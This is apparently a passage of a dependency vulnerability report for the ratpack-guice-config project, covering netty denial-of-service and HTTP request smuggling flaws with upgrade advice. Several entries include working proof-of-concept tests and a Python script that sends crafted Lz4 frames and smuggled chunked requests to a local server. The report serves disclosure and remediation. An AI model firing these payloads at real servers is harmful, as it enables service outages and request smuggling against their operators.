Vulnerabilities

14 via 62 paths

Dependencies

52

Source

GitHub

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Severity
  • 8
  • 6
Status
  • 14
  • 0
  • 0

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.netty:netty-codec
  • Introduced through: io.ratpack:ratpack-core@1.9.0 and io.ratpack:ratpack-guice@1.9.0

Detailed paths

  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-core@1.9.0 io.netty:netty-handler-proxy@4.1.63.Final io.netty:netty-codec@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-core@1.9.0 io.netty:netty-handler-proxy@4.1.63.Final io.netty:netty-codec-socks@4.1.63.Final io.netty:netty-codec@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-handler-proxy@4.1.63.Final io.netty:netty-codec@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.1.63.Final io.netty:netty-codec@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.1.63.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-handler-proxy@4.1.63.Final io.netty:netty-codec-socks@4.1.63.Final io.netty:netty-codec@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.1.63.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.1.63.Final io.netty:netty-codec@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.1.63.Final io.netty:netty-codec@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.1.63.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.1.63.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.1.63.Final io.netty:netty-codec@4.1.63.Final

Overview

io.netty:netty-codec is an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the Lz4FrameDecoder component. An attacker can cause excessive memory allocation by sending specially crafted compressed data with manipulated header fields, leading to resource exhaustion and potential denial of service.

PoC

    @Test
    void test() throws Exception {
        EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
        try {
            AtomicReference<Throwable> serverError = new AtomicReference<>();
            CountDownLatch latch = new CountDownLatch(1);

            ServerBootstrap server = new ServerBootstrap()
                    .group(workerGroup)
                    .channel(NioServerSocketChannel.class)
                    .childHandler(new ChannelInitializer<SocketChannel>() {
                        @Override
                        protected void initChannel(SocketChannel ch) {
                            ch.pipeline()
                                    .addLast(new Lz4FrameDecoder())
                                    .addLast(new ChannelInboundHandlerAdapter() {
                                        @Override
                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
                                            if (cause instanceof DecoderException) {
                                                serverError.set(cause.getCause());
                                            } else {
                                                serverError.set(cause);
                                            }
                                            latch.countDown();
                                        }
                                    });
                        }
                    });

            ChannelFuture serverChannel = server.bind(0).sync();

            Bootstrap client = new Bootstrap()
                    .group(workerGroup)
                    .channel(NioSocketChannel.class)
                    .handler(new ChannelInboundHandlerAdapter() {
                        @Override
                        public void channelActive(ChannelHandlerContext ctx) {
                            ByteBuf buf = ctx.alloc().buffer(22, 22);
                            buf.writeLong(MAGIC_NUMBER);
                            buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);
                            buf.writeIntLE(1);
                            buf.writeIntLE(1 << 25);
                            buf.writeIntLE(0);
                            buf.writeByte(0);

                            ctx.writeAndFlush(buf);

                            ctx.fireChannelActive();
                        }
                    });

            ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();

            assertTrue(latch.await(10, TimeUnit.SECONDS));

            assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());

            clientChannel.channel().close();
            serverChannel.channel().close();
        } finally {
            workerGroup.shutdownGracefully();
        }
    }

Remediation

Upgrade io.netty:netty-codec to version 4.1.133.Final or higher.

References

high severity
new

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: io.netty:netty-codec
  • Introduced through: io.ratpack:ratpack-core@1.9.0 and io.ratpack:ratpack-guice@1.9.0

Detailed paths

  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-core@1.9.0 io.netty:netty-handler-proxy@4.1.63.Final io.netty:netty-codec@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-core@1.9.0 io.netty:netty-handler-proxy@4.1.63.Final io.netty:netty-codec-socks@4.1.63.Final io.netty:netty-codec@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-handler-proxy@4.1.63.Final io.netty:netty-codec@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.1.63.Final io.netty:netty-codec@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.1.63.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-handler-proxy@4.1.63.Final io.netty:netty-codec-socks@4.1.63.Final io.netty:netty-codec@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.1.63.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.1.63.Final io.netty:netty-codec@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.1.63.Final io.netty:netty-codec@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.1.63.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.1.63.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.1.63.Final io.netty:netty-codec@4.1.63.Final

Overview

io.netty:netty-codec is an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the HttpContentDecompressor and DelegatingDecompressorFrameListener components when the Content-Encoding header is set to br, zstd, or snappy. An attacker can exhaust system memory and cause a denial of service by sending a highly compressed payload that decompresses to a very large size, bypassing the configured decompression limit.

Remediation

Upgrade io.netty:netty-codec to version 4.1.133.Final or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.netty:netty-codec-compression
  • Introduced through: io.netty:netty-codec-http@4.2.10.Final

Detailed paths

  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.netty:netty-codec-http@4.2.10.Final io.netty:netty-codec-compression@4.2.10.Final
    Remediation: Upgrade to io.netty:netty-codec-http@4.2.13.Final.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the Lz4FrameDecoder component. An attacker can cause excessive memory allocation by sending specially crafted compressed data with manipulated header fields, leading to resource exhaustion and potential denial of service.

PoC

    @Test
    void test() throws Exception {
        EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
        try {
            AtomicReference<Throwable> serverError = new AtomicReference<>();
            CountDownLatch latch = new CountDownLatch(1);

            ServerBootstrap server = new ServerBootstrap()
                    .group(workerGroup)
                    .channel(NioServerSocketChannel.class)
                    .childHandler(new ChannelInitializer<SocketChannel>() {
                        @Override
                        protected void initChannel(SocketChannel ch) {
                            ch.pipeline()
                                    .addLast(new Lz4FrameDecoder())
                                    .addLast(new ChannelInboundHandlerAdapter() {
                                        @Override
                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
                                            if (cause instanceof DecoderException) {
                                                serverError.set(cause.getCause());
                                            } else {
                                                serverError.set(cause);
                                            }
                                            latch.countDown();
                                        }
                                    });
                        }
                    });

            ChannelFuture serverChannel = server.bind(0).sync();

            Bootstrap client = new Bootstrap()
                    .group(workerGroup)
                    .channel(NioSocketChannel.class)
                    .handler(new ChannelInboundHandlerAdapter() {
                        @Override
                        public void channelActive(ChannelHandlerContext ctx) {
                            ByteBuf buf = ctx.alloc().buffer(22, 22);
                            buf.writeLong(MAGIC_NUMBER);
                            buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);
                            buf.writeIntLE(1);
                            buf.writeIntLE(1 << 25);
                            buf.writeIntLE(0);
                            buf.writeByte(0);

                            ctx.writeAndFlush(buf);

                            ctx.fireChannelActive();
                        }
                    });

            ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();

            assertTrue(latch.await(10, TimeUnit.SECONDS));

            assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());

            clientChannel.channel().close();
            serverChannel.channel().close();
        } finally {
            workerGroup.shutdownGracefully();
        }
    }

Remediation

Upgrade io.netty:netty-codec-compression to version 4.2.13.Final or higher.

References

high severity
new

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: io.netty:netty-codec-compression
  • Introduced through: io.netty:netty-codec-http@4.2.10.Final

Detailed paths

  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.netty:netty-codec-http@4.2.10.Final io.netty:netty-codec-compression@4.2.10.Final
    Remediation: Upgrade to io.netty:netty-codec-http@4.2.13.Final.

Overview

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the HttpContentDecompressor and DelegatingDecompressorFrameListener components when the Content-Encoding header is set to br, zstd, or snappy. An attacker can exhaust system memory and cause a denial of service by sending a highly compressed payload that decompresses to a very large size, bypassing the configured decompression limit.

Remediation

Upgrade io.netty:netty-codec-compression to version 4.2.13.Final or higher.

References

high severity
new

Null Byte Interaction Error (Poison Null Byte)

  • Vulnerable module: io.netty:netty-codec-dns
  • Introduced through: io.ratpack:ratpack-core@1.9.0 and io.ratpack:ratpack-guice@1.9.0

Detailed paths

  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.1.63.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.1.63.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.1.63.Final

Overview

Affected versions of this package are vulnerable to Null Byte Interaction Error (Poison Null Byte) due to inadequate validation of domain name labels and lengths in the encodeDomainName and decodeDomainName components. An attacker can cause DNS cache poisoning, bypass domain validation, or trigger excessive memory allocation by supplying specially crafted domain names or malicious DNS responses. This can result in downstream failures, silent truncation of domain names, and parser confusion across different DNS implementations.

Remediation

Upgrade io.netty:netty-codec-dns to version 4.1.133.Final, 4.2.13.Final or higher.

References

high severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.netty:netty-codec-http@4.2.10.Final

Detailed paths

  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.netty:netty-codec-http@4.2.10.Final
    Remediation: Upgrade to io.netty:netty-codec-http@4.2.12.Final.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling in the parsing of quoted strings within chunked transfer encoding extension values. An attacker can inject arbitrary HTTP requests into a connection by crafting chunk extensions containing carriage return or line feed bytes, leading to parsing discrepancies between the server and RFC-compliant intermediaries.

PoC

#!/usr/bin/env python3
import socket

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b'1;a="\r\n'
    b"X\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Content-Length: 11\r\n"
    b"\r\n"
    b'"\r\n'
    b"Y\r\n"
    b"0\r\n"
    b"\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)

response = b""
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    except socket.timeout:
        break

sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.132.Final, 4.2.12.Final or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: io.netty:netty-codec
  • Introduced through: io.ratpack:ratpack-core@1.9.0 and io.ratpack:ratpack-guice@1.9.0

Detailed paths

  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-core@1.9.0 io.netty:netty-handler-proxy@4.1.63.Final io.netty:netty-codec@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-core@1.9.0 io.netty:netty-handler-proxy@4.1.63.Final io.netty:netty-codec-socks@4.1.63.Final io.netty:netty-codec@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-handler-proxy@4.1.63.Final io.netty:netty-codec@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.1.63.Final io.netty:netty-codec@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.1.63.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-handler-proxy@4.1.63.Final io.netty:netty-codec-socks@4.1.63.Final io.netty:netty-codec@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.1.63.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.1.63.Final io.netty:netty-codec@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.1.63.Final io.netty:netty-codec@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.1.63.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.1.63.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.1.63.Final io.netty:netty-codec@4.1.63.Final

Overview

io.netty:netty-codec is an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Denial of Service (DoS). SnappyFrameDecoder doesn't restrict chunk length any mad buffer skippable chunks in an unnecessary way, leading to excessive memory usage. This vulnerability can be triggered by supplying malicious input that decompresses to a very big size (via a network stream or a file), or by sending a huge skippable chunk.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade io.netty:netty-codec to version 4.1.68.Final or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: io.netty:netty-codec
  • Introduced through: io.ratpack:ratpack-core@1.9.0 and io.ratpack:ratpack-guice@1.9.0

Detailed paths

  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-core@1.9.0 io.netty:netty-handler-proxy@4.1.63.Final io.netty:netty-codec@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-core@1.9.0 io.netty:netty-handler-proxy@4.1.63.Final io.netty:netty-codec-socks@4.1.63.Final io.netty:netty-codec@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-handler-proxy@4.1.63.Final io.netty:netty-codec@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.1.63.Final io.netty:netty-codec@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.1.63.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-handler-proxy@4.1.63.Final io.netty:netty-codec-socks@4.1.63.Final io.netty:netty-codec@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.1.63.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.1.63.Final io.netty:netty-codec@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.1.63.Final io.netty:netty-codec@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.1.63.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.1.63.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.1.63.Final io.netty:netty-codec@4.1.63.Final

Overview

io.netty:netty-codec is an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Denial of Service (DoS). Bzip2Decoder doesn't allow setting size restrictions for decompressed data. An attacker can exploit this by providing a compressed file that, when decompressed, triggers an out-of-memory exception.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade io.netty:netty-codec to version 4.1.68.Final or higher.

References

medium severity
new

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.netty:netty-codec-http@4.2.10.Final

Detailed paths

  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.netty:netty-codec-http@4.2.10.Final
    Remediation: Upgrade to io.netty:netty-codec-http@4.2.13.Final.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling when parsed HTTP requests contain malformed Transfer-Encoding headers. An attacker can inject unauthorized HTTP requests by crafting a request with a Transfer-Encoding: chunked, identity header, which is incorrectly interpreted, allowing the attacker to smuggle additional requests through the connection.

PoC

@Test
    public void test() {
        String requestStr = "POST / HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "Transfer-Encoding: chunked, identity\r\n" +
                "Content-Length: 48\r\n" +
                "\r\n" +
                "0\r\n" +
                "\r\n" +
                "GET /smuggled HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "\r\n";

        EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));

        // Request 1
        HttpRequest request = channel.readInbound();
        assertTrue(request.decoderResult().isSuccess());
        assertTrue(request.headers().contains("Transfer-Encoding"));
        assertFalse(request.headers().contains("Content-Length"));
        LastHttpContent last = channel.readInbound();
        assertTrue(last.decoderResult().isSuccess());
        last.release();

        // Request 2
        request = channel.readInbound();
        assertTrue(request.decoderResult().isSuccess());
        last = channel.readInbound();
        assertTrue(last.decoderResult().isSuccess());
        last.release();
    }

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.

References

medium severity
new

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.netty:netty-codec-http@4.2.10.Final

Detailed paths

  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.netty:netty-codec-http@4.2.10.Final
    Remediation: Upgrade to io.netty:netty-codec-http@4.2.13.Final.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling in the HttpClientCodec component. An attacker can cause response desynchronization and potentially compromise the integrity and availability of HTTP parsing by sending crafted HTTP/1.1 pipelined requests that include a HEAD request and trigger the server to send 1xx responses. This can result in unsafe reuse of the socket and misinterpretation of response bodies.

Note:

This is only exploitable if HTTP/1.1 pipelining is used, a HEAD request is present in the pipeline, and the server sends 1xx responses.

PoC

    @Test
    public void test() {
        EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec());

        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, "/1")));
        ByteBuf request = channel.readOutbound();
        request.release();
        assertNull(channel.readOutbound());

        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, "/2")));
        request = channel.readOutbound();
        request.release();
        assertNull(channel.readOutbound());

        String responseStr = "HTTP/1.1 103 Early Hints\r\n\r\n" +
                "HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\nhello" +
                "HTTP/1.1 200 OK\r\n\r\n";
        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.US_ASCII)));

        // Response 1
        HttpResponse response = channel.readInbound();
        assertEquals(HttpResponseStatus.EARLY_HINTS, response.status());
        LastHttpContent last = channel.readInbound();
        assertEquals(0, last.content().readableBytes());
        last.release();

        // Response 2
        response = channel.readInbound();
        assertEquals(HttpResponseStatus.OK, response.status());
        last = channel.readInbound();
        assertEquals(0, last.content().readableBytes());
        last.release();

        // Response 3
        FullHttpResponse response1 = channel.readInbound();
        assertTrue(response1.decoderResult().isFailure());
        assertEquals(0, response1.content().readableBytes());
        response1.release();

        assertFalse(channel.finish());
    }

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.

References

medium severity
new

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.netty:netty-codec-http@4.2.10.Final

Detailed paths

  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.netty:netty-codec-http@4.2.10.Final
    Remediation: Upgrade to io.netty:netty-codec-http@4.2.13.Final.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling via the getChunkSize function. An attacker can inject unauthorized HTTP requests by crafting a chunk size value that causes integer overflow, allowing additional requests to be smuggled within the body of a chunked HTTP message.

PoC

@Test
public void test() {
    String requestStr = "POST / HTTP/1.1\r\n" +
            "Host: localhost\r\n" +
            "Transfer-Encoding: chunked\r\n\r\n" +
            "100000004\r\n" +
            "test\r\n" +
            "0\r\n" +
            "\r\n" +
            "GET /smuggled HTTP/1.1\r\n" +
            "Host: localhost\r\n" +
            "Content-Length: 0\r\n" +
            "\r\n";

